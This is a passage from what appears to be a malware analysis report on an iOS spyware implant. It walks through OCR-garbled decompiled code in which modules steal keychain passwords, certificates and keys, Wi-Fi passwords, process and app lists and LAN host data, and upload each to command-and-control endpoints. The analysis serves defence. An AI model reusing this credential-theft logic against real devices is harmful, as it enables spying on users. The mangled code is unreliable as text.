v4l = objc_msgSend(&EOBJC_CLASS___ NSMutableDictionary, "alloe");
w42 = obje_msgSend(v4l, "init");

w4l = objc_1 ugsam!(soa.lc CLASS___ NSNumber, “"numberWithInteger:”, 20001LL);
w44 = objc_retai value(v4i);

objc_msgSend(vi2, aetval.ue forKey:", vid4, CPSTR("cmd"));

objc release(vid);

v45 = +[ShellCommand GetCommonApi](&0BJC_CLASS__ Shel " i"y;
v46 = objc_retainAutoreleasedReturnValua(vas);

vdl = vi6;

vaE = ohjc msgSend(v46, "GetDeviceID");

v49 = objo_retainAutoreleasedReturnValue(vag);

obje_msgSend(v42, "setValue:forKey:”, v49, CPSTR("uid"));
objc_release(vid);

objc_release(v47);

v50 = +[ShellCommand uetcunnounpl](loldc CLASS___ Shel "GetC i"y;
w51 = obje_retai value(v50);

v52 = y51;

w53 = obje_1 mgslnd(vsl "dictToJsonData:", v3i6):

w54 = objc_retai u-(v53)

objc_msgSend(vi2, lutVu].uI:Eo:Kuy ; v54, CFSTR("data"));

obje_release(v5i);

obje_release(vil);

w55 = +[ShellCommand GetCommonApi](&0BJC_CLASS__ Shel “GetC iy
v56 = objc_retain(v55);

v75 = _NSConcreteStackBlock;

v76 = 3254779904LL;

v77 = __23__ Shell XXXExeCommand __ block_invoke;

viB = i block_descriptor_48 ef 32s40s_a3d_ vzl 0__NSDictiomary_8__NSError_161;
v79 = self;

v57 = ohjc retain(v74);

v80 = v5

obje_s mgsani(vsﬁ, "postPorm:toUrlionCompletionirunLoop:™, v42, CPSTR("/api/shell/result"), &v75, OLL);

Figure 43. ShellCommandaaa uses the dictToJsonData() function

3.5 KeyChain module (Command ID 31000)

This module is mainly for getting targets’ Keychain information. It uses the SecltemCopyMatching()
function with the following dictionary to copy Keychain items.



https://developer.apple.com/documentation/security/1398306-secitemcopymatching

id __ fastcall getKeychainObjectsForSecClass(__int64 al)
{

NSMutableDictionary *vl; // x0

id v3; // [xsp+10h] [xbp-40h]

id location; // [xsp+38h] [xbp-18h]
14 v5; // [xsp+40h] [xbp-10h]
__int64 v6; // [xsp+48h] [xbp-8h]

vée = al;

vl = objc_msgSend (&0BJC_CLASS___NSMutableDictiomary, "alloc");

v5 = objc_msgSend(vl, "init");

objc_msgSend(v5, "setObject:forKey:", v6, kSecClass);

objc_msgSend(v5, "setObject:forKey:", kSecMatchLimitAll, k hLimit) ;
objc_msgSend(v5, "setObject:forKey:", kCFBool rue, k turnAttributes);
objc_msgSend(v5, "setObject:forKey:", kCFBooleanTrue, kSecReturnRef);
objc_msgSend(v5, "setObject:forKey:", kCFBooleanTrue, kSecReturnData);

location = OLL;

if ( (unsigned int)SecItemCopyMatching(v5, &location) )
objc_storeStrong(&location, OLL);

v3 = objec_retain(location);

objc_storeStrong(&location, OLL);

objc_storeStrong(&v5, OLL);

return objc_autoreleaseReturnValue(v3);

Figure 44. The SecltemCopyMatching() function

while ( 1)
{

v2l = v23;
if ( *(_QWORD *)v33[2] l= v24 )
objc_enumerationMutation(v26);
objec_storeStrong(&location, *(id *)(v33[1l] + 8 * v23));
d)

if ( v36 == kSecCl icP
v20 = v40;
v10 = (void *)printGenericPassword(location);
v19 = objc_retainAutoreleasedReturnValue(v10);

objc_msgSend(v20, "addObject:", v19);
objc_release(v19);

else if ( v36 == kSecClassCertificate )
vls8 = v39;
vll = (void *)printCertificate(location);

v1l7 objc_retainAutoreleasedReturnValue(vll);
objc_msgSend(v18, "addObject:", v17);
objc_release(vl7);

glse if ( v36 == kSecClassKey )
{

v1l6é = v38;
vl2 = (void *)printKey(location);
vl5 = objc_retainAutoreleasedReturnValue(v12);

objc_msgSend(v16, "addObject:", vi5);
objc_release(vl5);

++v23;

Figure 45. Each item, including the password, certificate, and key, is parsed and added into the return data object

objc_msg! ((id)IC legate, "sendLog:c:”, 31001LL, CFSTR("FiiHHlkeychain&."));
v10 = -[KeyChain GetKeyChainData](v2l, "GetKeyChainData");

v19 = objc_retainAutoreleasedReturnValue(vi0);

v9 = objc ((id) legate, "dictToJsonData:", v19);

vig = nbjE_retaiuutoreleaudlletnrn\'lluetv9)|
if ( ddLogLevel & 0x10 )
objec_msgSend (
(id)_myDDLog,
"log:level:flag:context:file:function:line:tag:format:",

1LL,
ddLogLevel,
16LL,

OLL,
"/Users/mac/work/irc_framework/KeyChain/KeyChain/KeyChain.m",
"-[KeyChain GetKeyChain]",

91LL,

OLL,

CFSTR("[%s] i8] [td]KeyChain=:%2"),
"/users/mac/work/irc_framework/KeyChain/KeyChain/KeyChain.m",
"-[KeyChain GetKeyChain]",

v8 = objc_msgSend(&0BJC_CLASS___ NSMutableDictionary, "alloc");
v7 = objc_msgSend(v8, "init");

w17 = vi;

objc_release (OLL) ;

objc_msgSend (v7, "setValue:forKey:", v1E, CFSTR("data"));

v6 = objc_msgSend(&0BJC_CLASS___ NSNumber, "numberWithInteger:", 31001LL);
v5 = objc_retainAutoreleasedReturnValue(v6);

objc_msgSend (v7, "setValue:forKey:", v5, CFSTR("cmd"));
obje_release(v5);

v4 = objec_msgSend((id)ICommonDelegate, "GetDeviceID");

v3 = objc_retainAutoreleasedReturnValue(v4);

objc_msgSend (v7, "setValue:forKey:", v3, CFSTR("uid"));
objc_release(v3);

vll = _NSConcreteStackBlock;

vi2 = =1040187392;

vi3i = 0;

vl4 = __23_ KeyChain_GetKeyChain__block_invoke;
vl5 = &_ block_descriptor tmp;

v2 = (id)ICommonDelegate;
v16 = objc_retain(vzl);
obje_ d(v2, "p toUrl:onCompletion:runLoop:”, v7, CFSTR("/api/keychain/"), &v1l, OLL);

Figure 46. Sensitive information is uploaded to the hxxp://.../api/keychain/ server



3.6 Screenaaa module (Command ID 33000)

This module is mainly for scanning around the target device. The method it uses goes through these four
steps:

1. Determine the target device IP address and the subnet mask.
2. Calculate the range of possible addresses in its subnet. The range is obtained by using logical
AND operator, where operands are binary values of the IP address and subnet mask.

v8 = -[MMLANScanner d.l.glto](val, "delegate”);
v47 = objc_retai lue(v8);
v46 = (unsigned 1nt8)objc g d(v47, "resp lector:", "1 idri ice:");
objc_release(v47);
if (va6 & 1)
{
v9 = -[MMLANScanner dclaglte] (v81, "delegate");
v45 = objc_retai lue(v9);
v10 = -[MMLANScanner d.vic.](vﬂl, "device");
v44 = objc_retai lue(v10);
objc_: (va5, "1 drFi ice:", vad);

objc_release(vid);
objc_release(v45);

}
vll = -[MMLANScanner dnvicu](vBl, "device");

v12 = objc_retai lue(vil);
va3 = v12;

vli3 = -[MMDevice ipAddron](vlz "ipAddress");
v42 = objc_retai lue(vi3);
vl4 = -[MMLANScanner device](vﬂl, "device");

vl5 = objc_retai lue(vid);
val = v15;

v1l6 = -[MMDevice b J(v1S; * k");
v17 = objc_retai 1 lue(v1i6);

va0 = v17;

v18 = +[LANProperties getAllHostsForIP:andSubnet:](
&0BJC_CLASS mropa:tiol,
"getAllHostsForIP:andSubnet:

vaz,
vi7);
v39 = objc_retai 1 lue(vi8);
- [ MML setIp ing:](v81, "setIpsToPing:", v39);

Figure 47. MMLANScanner start function

3. lterate through the range and ping each IP address.

while ( 1)
{

i€ ( *v72 1= v35 )
objc_enumerationMutation(obi);

v78 = ¥(_QWORD *)(v71 + 8 * v3d);

v62 = 0;

v3l = objc_msgSend (&0BJC_CLASS___ PingOperation, "alloc”);
v63 = _NSConcreteStackBlock;

v64 = -1040187392;

v6s = 03

v66 = 21 MMLANScanner_start__block_invoke;
v6l = & blocl dn-crlptor tmp;
30 = v78;

objc copynoqk(l.v 8, &location);

v62 = 1;

v69 = -[ungopenuou initWithIPToPing:andCompletionHandler: ] (
31

v
*initWithIPToPing:andCompletionHandler: ",
,n

—)
v29 = opjc_llglnnd(iom_msn__nlcopnraclon, “alloc");

- _,..... ctionary] (ve1, " ctionary");
= objc_retai lue(v27);

= lBConcznto!tlcl!lock;

-1040187392;

0;

__21__MMLANScanner_start__block_invoke_69;
v %__block_descriptor_tmp 85;
v26 = v20;
v25 = v20;
objc_copyWeak (&v60, &location);
v59 = objec_retain(vel);
vél = -[)ﬂcopcr-ti.oa initnithxmntri.vﬂn‘:xnmrudnictlouzyxlndcmplationlaultn](
inltwith!nonatricvm andBrandDictionary:andCompletionHandler:",
v28,

:2e ]

54);
opjc_relgn-g(\v 25);_

Figure 48. Ping operation via MMLANScanner




4. Upload the data to the hxxp://..../api/lan_devices/ server using the
void __cdecl -[LanDevices mainPresenterlPSearchFinished:](LanDevices *self, SEL a2, id a3) function.

objc_storeStrong(&location, ad);

NSLog (CFSTR("mainPresenterIPSearchFinished"}))

vl = objc_msgSend(&OBJC_CLASS___ NSMutableDictionary, "alloc");

v29 = objc_msgSend(v3, "init");

vi = objc_msgSend (EOBIC_CLASS " ithI; :", 33001LL);
v21 = objc_retai nValue(vid);

objc_msgSend(v29, --tv-lu- forKey:", v21, CPSTR("cmd"));
objec_release(v2l);

v5 = objc_msgSend((id)ICommonDelegate, "GetDeviceId”);

v20 = objc_retai lue(v5)y

objc_msgSend(v29, "setValue:forKey:", v20, CFSTR("uid"));
objc_release(v20);

vE = ohjc nwsend(t;d):mnnelaqate, "dictToJsonData:", location)j
v28 = objc_retai lua(ve);

obje_msgSend(v29, setobject:fone!: r V28, crs'm( data")) s

v7 = —[LanDevices p 1(v3z,

vE = ebje_retai 1 turnValue(v7);

v19 = v8;

vo = dpevices] (v&, " dDevices");
v18 = objc_retai 1 lue(v9);

v17 = objc_msgSend(v18, "count");
obje_release(v1g);
objc_release(v19);

v27 = v17;
vl0 = nhjc ugsandtion.m CLASS___ NSNumber, "numberWithiInteger:", v17);
v16 = objc_retai lue(v10);

objc_msgSend(v29, "setObject:forKey:", v16, CFSTR("total"));
objc_release(vlG);

vll = objec_1 mgaand(&n!.:rc CLASS___ NSNumber, "numberWithInt:", OLL);
v15 = objc_retai uu.nuulua(vll),

objc_msgSend(v29, "setObject:forKey:", v15, CFSTR("complete”));
objc_release(vl5);

vl2 = v29;

-smgu:rs-m( "lanDevices = $2"));

v22 = NSConcreteStackBlock;

w23 = 3254779904LL;

v24 = __44__LanDevices_mainPresenterIPSearchFinished__ block_invoke;
v25 = &__block_descriptor_tmp 0;

vld = v29;

v1l3 = (id)ICommonDelegate;

v26 = obje_retain(vi2);

objc_msgSend(v13, "postForm:toUrl:onCompletion:runLoop:", v14, CPSTR("/api/lan_devices/"), &v22, OLL, v12, &v22);
objc_storeStrong((id *)&v26, OLL);

Figure 49. Uploading the data to the server

3.7 Softinfoaaa module (Command ID 16000)

This module has two sub-command IDs: 16001 and 16002. Command 16001 is used to get the software
list, while command 16002 is used to get the process list.

The following figure shows how to get the installed software list (id __cdecl +[AppInfo getApplinfoList](id
al, SEL a2)). It mainly uses an undocumented application programming interface (API) called
installedApplications to achieve that.

v5 = +[LMAppController sharedInstance] (&0BJC_CLASS___ LMAppController, "sharedInstance");
obje_retainAutoreleasedReturnValue(v5);

v6;

-[LMAppController installedApplications](v6, "installedApplications");
objc_retainAutoreleasedReturnValue(v3);

objc_release(v7);

if (C1ve )

<
3
oo

<
o
"

v19 = objc_msgSend(
&OBJC_CLASS___NSException,
"exceptionWithName:reason:userInfo:",
CFSTR("getAppInfoList"),
CFSTR("get app info err!"),

oLL);
v20 = objec_retai leasedReturnva. lue(vi9);
v21l = objc_autorelease(v20);

objc_exception_throw(vZl);
goto LABEL 13;

for ( i = OLL; i < (unsigned __int64)objc_msgSend(v9, "count"); ++i )
vll = objc_t ugsand(w, objecu\t:ndex s i)
vl2 = objc_retai turnValue(vll);
if ( vi2')

vl3 = objc_msgSend(al, "convertDictiomary:", v12);
vl4 = objc_retainAutoreleasedReturnValue(v13);
if ( vid')

objc_msgSend(v4, "addObject:", vl1d);
objc_release(vld);

objc_release(vl2);

Figure 50. Getting the installed software list




The following figure shows how it first calls the “ps -Aef” command to get the process list, then calls the
getRunningProcessesList function to parse for details.
v2 = self;

objc msgSend (self->ICommonDelegate, sendl’..oq:c:", 16001LL, CFSTR("FERAITRIFHAEIIRIES! "));
" objc_msgSend (v2->ICommonDelegate, "executeCommand:", CFSTR("ps -Ref"));

v4 = objc_retainAutoreleasedReturnValue(v3);
v5s = vi;
v6 = +[P _getRunningP List:] (&0BJC_CLASS Process, "getRunningProcessesList:", vid);

Figure 51. Getting the process list information

v9 = objc_msgSend(al, "getRunningProcessesPath:", vi);

v10 = objc_retainAutoreleasedReturnValue(v9);

vll = OLL;

vd3 = v6; id va; // x21
v4d = v8;

while ( (unsigned _ inté4)objec_msgSend(v8, "count") > vil )

v1l2 = objc_msgSend(&0BJC_CLASS NSMutableDictionary, "alloc");
vll = objc_msgSend(v12, "init");

if ( v13 )

{

vd5 = vll;
vld = objc_msgSend(vE, "objectAtIndex:", wil);
v46 = objc_retainAutoreleasedReturnValue(vld);

if ( va6 )
{
v1l5 = objc_msgSend(vi6, "objectForKey:", CFSTR("pid"));
v1l6 = objc_retainAutoreleasedReturnValue(vl5);
v1l7? = vl6;
v1l8 = objc_msgSend(v16, "intValue");
v19 = objc_msgSend(&0BJC_CLASS __ NSNumber, "numberWithInt:", v18);
v20 = objc_: ratlinnutorulanledleturnvulua(v19),

objc_msgSend(v13, "setValue:forKey:", v20, CFSTR("pid"));
obje_release(v20);

objc_release(vl7);

v21 = objc_msgSend(vi6, "objectForKey:", CFSTR("name"));

v22 = objc_| retninhutotelealedketurnVllua(vzl);

objc_: msgSend(vl3, "setValue:forKey:", v22, CFSTR("name"));

objc relaala(vZZ),

for ( i = OLL; (unsigned __int64)objc_msgSend(v10, "count") > i; ++i )

v24 = obje_msgSend(v10, "objectAtIndex:", i);
v25 = obje_retainAutoreleasedReturnValue(v24);
if ( v25 )

{

v26 = objc_msgSend(vi6, "objectForKey:", CFSTR("pid")):
v27 = objc_retainAutoreleasedReturnValue(v26);

v28 = (unsigned int)objc_msgSend(v27, "intValue");
objc_release(v27);

v29 = objc_msgSend(v25, "objectForKey:", CFSTR("pid"));
v30 = objc_retainRAutoreleasedReturnValue(v29);

v3il = (unsigned int)obje_msgSend(v30, "intvalue");
objc_release(vi0);

if ( v2B == v31 )

{ v32 = objc_msgSend(v25, "objectForKey:", CFSTR("path"));
v33 = objec_ retnlnlutorelealedneturnValue(v32);
v34 = objc_msgSend(v25, "objectForKey:", CPSTR("app"));
v3i5 = objc_ ratlinnutoralealedlaturnvalua(v34)
v3i6 = objc_msgSend(v25, "objectForKey:", CFSTR("package_name"));

Figure 52. Getting the process ID (PID), process path, app, to name a few

Lastly, it uploads the software list or process list information to the corresponding server.




v2 = self;
obje, (seli->IC legate, "sendLogic:”, 16001LL, CPSTR("FIRATRISTMAIIRES! "))
v] = +[Appxn£o getAppInfoList] (§0BJC_CLASS___ AppInfo, “getAppInfolist”);
= objc_retainAutoreleasedReturnValue(vi);
= objc_msgSend(&0BJC_CLASS___ NSMutableDictiomary, "alloc");
v6 = obje_msgSend(v5, "init");
= ohje nlgﬂnnd(v2—>ICoulomn¢1.gato, "dictToJsonData:", vi);
v8 = objc_retai lue(v7);
objc_msgSend(vé, latanua forKey:", v8, CPSTR("data"));
objc_release(vE);
v9 = objc_msgSend(&0BJC_CLASS_ | "numberWithI +", 16001LL);
v10 = objec_: teta1n1utorulollad!atu:n?llu.(vB),
objc_msgSend(vé, "setValue:forKey:", v10, CFSTR("cmd"));
objc_release(v10);
v1l = obje_: (v2=->IC 1 te, "GetDeviceID");
v12 = objc_retai 1 lue(vll);
objc_msgSend(v:, "setValue:forKey:", vl2, CFSTR("uid"));
objc_release(vliZ);
v13 = objc_msgSend(vi, "count");
vlé = objc_msgSend(&0BJC_CLASS___ NSNumber, “numberWithUnsignedInteger:”, v13);
v1l5 = objc_: retninlutorulealedlaturnValue(vl!)
objc_msgSend(v6, "setValue:forKey:", v15, CFSTR("total"));
ohjc release(vl5);
v1l6 = objc_msgSend(v4, "count");
v17 = objc_i ugscm‘l(iDBJC CLASS, ____NESNumber, "numberWithUnsignedInteger:", v16);
v1l8 = objc_retai tur lue(vl7);
objc_msgSend(v6, uatvaluexﬁnx'xeyl", v18, CFSTR("complete"));
objc_release(v1f);

v1l9 = y2->ICommonDelegate;

v20 = _NSConcreteStackBlock;

w21 = 3254779904LL;

v22 = __23_ SoftInfo_GetSoftList__block_invoke;

v23 = & block dascriptor 40_e8_: 32s _eld vzd 0__NSDictionary_8_ NSError_161;
vZd = v2;

ohjc nlgSend(vlS, "postForm:toUrl:onCompletion:runLoop:", v6, CFSTR("/api/app/"), &v20, OLL);

obje (self legate, "sendLog:c:”, uooxu., crsn( ﬁmmnnm&&&u&ﬁ?l %)
= objc_t (v legate, " TR("ps -Aef
v: = objc_} 1 lue(vl);
vs = vd;
v6 = +[ i ist:] (0BJC_CLASS | o i ist:", vd);
v7 = objc_1 i 1 lue(v6);
v8 = objc_msgSend (&OBJC_CLASS___ NSMutableDictionary, "alloc");
v9 = obje_1 ngnu(ve, “TInit");
v10 = objc_: v2-> legate, "dictT 1", v1);
vlil = objc_: i lue(v10);

nd(v9, 'uevuumforxay:', vll, CPSTR("data"));

e e(vil
vi2 = obje_1 ngl-u(nouc CLASS___NSNumber, "numberWithInteger:", 16002LL);
v13 = objc_; lue(vi2);
objc_msgSend (v9, latVlluu forKey:", v13, CPSTR("cmd"));
objc_release(vii);
vl4 = obje_1 (v2=> legate, "GetDeviceID");
v15 = objc_retai 1 lue(vid);

objc_msgSend(v9, "setValue:forKey:", v15, CPSTR("uid"));

objc_release(vi5);

vl6 = objc_msgSend(v7, "count”);

v17 = objc_msgSend (£0BJC_CLASS__NSNumber, "numberWithUnsignedInteger:", vi6);
vl8 = objc_retai lue(vi7);

objc_ms (v9, "setValue:forKey:", v18, CFSTR("total"));

objc_release(vid);

v19 = objc_msgSend(v7, "count");

v20 = objc_1 Ilqlnnd(iO!JC CLASS___ NSNumber, "numberWithUnsignedInteger:", v19);
v21 = objc_reta lue(v20);

objc_msgSend(v9, l-tVl].ul forKey:", v21, CPSTR("complete”));
objc_release(v2l);

v22 = v2->ICommonDelegate;

v23 = NSConcreteStackBlock;

v24 = 3254779904LL;

v25 = _ 26__SoftInfo_GetProcessList__block_invoke;
v26 = & block d‘-eriptot 40_e8_32s .34 vzc O0__NSDictionary_8__NSError_161;
v27 =

objc_: llql-nd(vzl, "postForm:toUrl:onCompletion:runLoop:”, v9, CPSTR("/api/process/"), &v23, OLL);

Figure 53. Getting the software and running processes list

3.8 FileManage module (Command ID 15000)

This module is mainly used for file or directory operation, including the following sub-commands: get
directory and file list, upload file, download file, delete file, create directory, rename file, move file, copy
file, and get the directories of applications.




switch ( (_DWORD)w4 )
{

case 0x3R99:
v7 = -[FileManage GetDir:](self, "GetDir:", v6);
v8 = objc_; 1 lue(v7);
—[FileManage GetDirFileList:](self, "GetDirFileList:", v8);
objc_release(v8);
break;
case Ox3A9A:
—[FileManage UploadFile:](self, "UploadFile:", v6);
break;
case 0x3A9B:
—[FileManage DownLoadFile:](self, "DownLoadFile:", v6);
break;
case 0x3A9C:
—-[FileManage DeleteFile:](self, "DeleteFile:", v6);
break;
case 0x3A9D:
=[Fil s:](self, "SendOverPackage:s:", 15005LL, OLL);
break;
case Ox3A9E:
-[FileManage SendOverPackage:s:](self, "SendOverPackage:s:", 15006LL, OLL);
break;
case Ox3A9F:
- [Fil 8:](self, "SendoOverPackage:s:", 15007LL, OLL);

break;

case Ox3ARO0:
-[FileManage MakeDir:](self, "MakeDir:", v6);
break;

case Ox3AAl:
=[FileManage FileRename:](self, "FileRename:", v6);
break;

case Ox3AR2:
—[FileManage MoveFile:](self, "MoveFile:", v6);
break;

case 0x3AA3:
—[FileManage CopyFile:](self, "CopyFile:", v6);
break;

case Ox3AAd:
—[FileManage GetAppDir:](self, "GetRAppDir:", v6);
break;

default:
-[FileManage SendOverPackage:s:](self, "SendOverPackage:s:", w4, OLL);
break;

Figure 54. Various FileManage module commands

3.9 WifiList module (Command ID 17000)

This module is mainly for getting Wi-Fi information, including Wi-FI history, where the command ID is
17001, and the Wi-Fi scan list has a command ID of 17002.

-[WifiList GetWifiHistroy](v7, "GetWifiHistroy");
else if ( v5 == 17002LL )
-[WifiList GetWifiScanList](v7, "GetWifiScanList");
zlla
{ -[WifiList SendOverPackage:s:](v7, "SendOverPackage:s:", v5, OLL);

objc_storeStrong(&location, OLL);

Figure 55. Getting the Wi-Fi history and scan list

val = 5;5&:;;;;;;1&?&&1(iigéi;éteIvarlpreferenceslsystemConfigurationlcom.apple.wifi.plist"));
v29 = objc_msgSend(&0BJC_CLASS NSDictionary, "dictionaryWithContentsOfFile:", vil);
v40 = objc_retainAutoreleasedReturnValue(v29);

Figure 56. Getting the Wi-Fi history by directly reading the data stored in the com.apple.wifi.plist file




for (i =0; ; ++i )

v2d = i;

if ( v24 >= (unsigned __int64)objc_msgSend(v38, "count") )
break;

v23 = objc_msgSend(v38, "objectAtIndex:", i);

v36 = objc_retainAutoreleasedReturnValue(v23);

if ( v36 )

¢

v22 = objc_msgSend(v36, "objectForKey:", CFSTR("BSSID"));

v34 = objc_retainAutoreleasedReturnValue(v22);

v21 = objc_msgSend(v36, "objectForKey:", CFSTR("SSID_STR"));

v33 = objc_retainAutoreleasedReturnValue(v2l);

v20 = objc_msgSend(v36, "objectForKey:", CFSTR("lastAutoJoined"));
v32 = objc_retainAutoreleasedReturnValue(v20);

if ( 1v32)
{

v1l9 = objc_msgSend(v36, "objectForKey:", CFSTR("lastJoined"));
v7 = objc_retainAutoreleasedReturnValue(v19);

v8 = v32;

v32 = v7;

objc_release(vE);

}

v3l = objc_msgSend(v44, "ConvetTime:", v32);

vl8 = objc_msgSend(&0BJC_CLASS___ NSMutableDictionary, "alloc");

location = objc_msgSend(v18, "init");

if ( location )

|
objc_msgSend(location, "setValue:forKey:", v33, CFSTR("ssid"));
vl7 = location;
vli6 = objc_msgSend(v39, "objectForKey:", v33);
vl5 = objc_retainAutoreleasedReturnValue(vl1é6);
objc_msgSend(v17, "setValue:forKey:", v15, CFSTR("password"));
objc_release(v15);
objc_msgSend(location, "setValue:forKey:", v34, CFSTR("mac"));
vl4 = location;
v1l3 = objc_msgSend (&0BJC_CLASS___ NSNumber, "numberWithLongLong:", 1000LL * (_QWORD)v31);
vl2 = objc_retainAutoreleasedReturnValue(vl3);
objc_msgSend(v14, "setValue:forKey:", v1Z, CFSTR("time"));
objc_release(v12);
objc_msgSend(v42, "addObject:", location);
v3i5 = 0;

Figure 57. Parsing each item to get the basic service set identifier (BSSID), SSID_STR, lastAutoJoined, lastJoined,
and even the password information

To get the Wi-Fi scan list, it loads the private MobileWiFi framework first and imported necessary
functions through the disym function.

self->libHandle = dlopen("/System/Library/PrivateFrameworks/MobileWiFi.framework/MobileWiFi", 1);
if ( !lv5->libHandle && dlerror() )

{
vi = objc_msgSend(
£0BJC_CLASS __ NSException,
excepuouwithlm :ireason:userInfo:”,
CPSTR("LoadLib"),
CPSTR("LoadLib MobileWifi Erri"),
OLL) ;
v2 = objec_retai 1 lue(vi);
v3 = objc_autorelease(v2);
objc_exception_throw(vl);
break(lu);
O (0x77441L) ;
}
v5->WiFiNetworkGetProperty = dlsym(v5->libHandle, "WiriNetworkGetProperty”);
v5->NiPiNetworkGetIntProperty = dlsym(v5->libHandle, "WiFiNetworkGetIntProperty");
v5->WiFiNetworkGetFloatProperty = dlsym(v5->libHandle, "WiriNetworkGetFloatProperty");
v5->WiFiNetworkCopyPassword = dlsym(v5->libHandle, "WiFiNetworkCopyPassword");
v5i=>WiFiNetworkGetSSID = u-p(vs->ubnndlo "WiFiNetworkGetSSID");
v5->WiFiNetworkSetPassword = dlsym(vS5->libHandle, "WiFiNetworkSetPassword”);
v5=->WiFiNetworkGetNetworkUsage = dlsym(vS->libHandle, "WiFiNetworkGetNetworkUsage');
v5=->WiFiNetworkIsWEP = dlsym(v5->libHandl "WiPiNetworkIsWEP");
v5->NiFiNetworkIsWPA = dlsym(v5->libHand. “"WiFiNetworkIsWPA");
v5=>WiFiNetworkISEAP = dlly-(va->u.bundlo, “WiFiNetworkIsEAP");
v5->WiFi IsAppl = dlsym(v5->libHandle, "WiFi IsApplePer: 1 ")
v5=>WiFiNetworkIsAdHoc = dlny-(vs->11bundl.a, "WiFiNetworkIsAdHoc");
v5->WiFiNetworkIsHidden = dlsym(v5->libHandle, "WiFiNetworkIsHidden");
v5=>WiFiNetworkRequiresPassword = dlsym(v5->libHandle, uiruot\torknquinsrnmxd");
vS-ﬂlfuotwru.quinlUlanm = dlsym(v5->libHandle, Hirilnmrkl.quinlln-rnm“)
v5->WiFi Date = dllyl(vi-)lihllnﬂll, "WiFri iationDate");
v5=>WiFiNetworkCopyRecord = d].uyl(va—>u.bl.mo, "WiFiNetworkCopyRecord");
v5->WiFiDeviceClientCopyProperty = dlsym(v5->libHandle, "WiFiDeviceClientCopyProperty");
vi->WiFiDeviceCli = dlsym(v5->libHandle, "WiFiDeviceClientCopyCurrentNetwork");
vS->WiFiDeviceClientGetPower = dlsym(v5->libRandle, "WiribDeviceClientGetPower");
v5->WiFiDeviceClientSetPower = dlsym(v5->libHandle, "WiFiDeviceClientSetPower");
v5->WiFiDeviceClientScanAsync = dlsym(v5->libHandle, "WiFiDeviceClientScanAsync”);
v5->WiFiDeviceClientAssociateAsync = dlsym(v5->libHandle, "WiFiDeviceClientAssociateAsync”);
vi->WiFiDeviceClientAssociateCancel = u-y-(vs-uu:undxo, "WiFiDeviceClientAssociateCancel”);
v5-Muribevlcecllentbhllmlnta = dlsym(v5->libHandle, nlribevi:ecuenf.binnocinte');
v5=->WiFiDeviceClientGetI: = dlsym(v5->libBandle, "WiFiDeviceClientGetInterfaceName");
5—wirlhvic.clL.ntngllt-muback = dlsym(vS->libHandle, "WiFiDeviceClientRegisterLgMCallback"”);
v5->WiFiDeviceCl nkCallback = dlsym(
v5->1ibHandle,
"WiPiDeviceClientRegisterExtendedLinkCallback”);
v5->WiFiDeviceClientRegisterLinkCallback = dlsym(v5->libHandle, "WiFiDeviceClientRegisterLinkCallback");
v5->WiFiDeviceClientRegisterPowerCallback = dlsym(v5->libHandle, "WiFiDeviceClientRegisterPowerCallback");

Figure 58. The dlysym function




It also creates a Wi-Fi manager using the WiFiManagerClientCreate() function. It then uses
WiFiManagerClientCopyDevices to copy the devices and set it to UtilNetworksManager object.

if (Tlocationm )

v2 = objc_msgSend(&OBJC_CLASS__ MobileWifiLib, "alloc”);
vl = objc_msgSend(v2Z, "init")}

vd = (void *)%((_QWORD *)location + 7);

*((_QWORD *)location + 7) = vij

objc_release(vd);

objc_msgSend(*((id *)location + 7), "LoadLib");

v5 m (#(__int64 (__fastcall **)(_QWORD, _QWORD))(*((_QWORD *)location + 7) + 256LL))(kCFAllocatorDefault, OLL);// : WiFiManagerclientCreate
*((_QWORD *)location + 1) = v5;

vil = (+(__int6d (_fastcall +*)(_QWORD))(*((_QWORD *)location + 7) + 264LL))(*((_QWORD *)location + 1));// mwmmms: WiFiManagerClientCopyDevices
if ( lvl2

fprintf(__stderrp, "Couldn't get WiFi devices. Bailing.\n");
wi FiDeviceClientRef = CPArrayGetValueAtIndex(vl2, OLL)j
_OWORD *)location + 2) = WiFiDeviceClientRefj
crlatnin(-(( QWORD *)location + 2));
CFRelease(v1Z);
vl = obje_s (&0BJC_CLASS__ | leArray, "allec");
vE = objc_msgSend(v7, "init");
v9 = (void *)*((_QWORD *)location + 5)j
*((_OQWORD *)location + 5) = v8;
objc_release(v9);

Figure 59. The WiFiManagerClientCreate() function as Wi-Fi manager

It then uses the getScanList function to parse the detail properties, including the service set identifier
(SSID), MAC, encryption type, and signal strength information.

while ( 1)
{

vi9 = v21;
if ( *(_QWORD *)v26[2] 1= v22 )

objc_enumerationMutation(obi);
v27 = ¥®(id *)(v26[1] + 8 * v21);
v3 = objc_msgSend(&0BJC_CLASS___ NSMutableDictiomary, "alloc");
location = objc_msgSend(v3, "init");
if ( location )

vl8 = location;
v4 = objc_msgSend(v27, "ssxn ):

v17 = objc_retai Value(v4);

objc_msgSend(v18, letvalue forKey:", v17, CFSTR("ssid"));
objc_rele: n(v17);

vlé = location

v5 = objc_1 llgsend(v27 nssxn“);

v1l5 = objc_retai lue(v5);

objc_msgSend(v16, letValue:forxey:", v15, CFSTR("mac"));
objc_release(vl5);

vl4 = location;

v6 = objc_msgSend(v27, "encryptionModel");

v13 = objc_retai 1 Value(v6);

objc_1 llgs.nd(vla, "setValue:forKey:", v13, CFSTR("encrypt_type"));
objc_release(v1l);

vl2 = location;

v7 = (unsigned int)objc_msgSend(v27, "strangth");

v8 = objc_1 llgsand(EOBJC CLASS___NSNumber, "numberWithInt:", v7);
vll = objc_retai lue(v8);

objc_msgSend(v12, uetv;lue forKey:", v1l, CFSTR("signal”));
objc_release(vlil);

objc_msgSend(v28, "addObject:", location);

Figure 60. The getScanList function




objc_msgSend ( (id) ICommonDelegate, "sendLog:c:", 17001LL, CFSTR("FEREMEEEwIFIHEER."));
vil = +[Wigiistory getKifiistory) (4OBIC_CLASS__WifiRistory, "getWifiiistory");

v19 = ebje_retai lue(v1il);

v10 = objc 1 ugs:nd.uoa.vcfmss NSMutableDictionary, "alloc");

ve = ohjc_ugsend(vlo, "init");

vlg = v9;

objc_release (OLL);

v8 = obje_ ((id) legate, "di 2"y vi9);
v7 = objc retai 1 lue(vs

_ )i
objc_msgSend(v9, "setValue:forKey:", v7, CFSTR("data"));
objc_release(v7);

v6 = objc_msgSend(&0BJC_CLASS__| "number Integer:”, 17001LL);
v5 = obje_retai |Iu(v6)
"setValue:forKey:", v5, CFSTR("cmd"));
a((id) legate, " eID");
vl = objc_reta 1 lue(vd);

objc_msgSend(v9, "setValue:forKey:", v3, nﬂ'ﬂ'n(”md"));
objc_release(v3);

v12 = _NSConcreteStackBlock;

vlil = -:umunm,

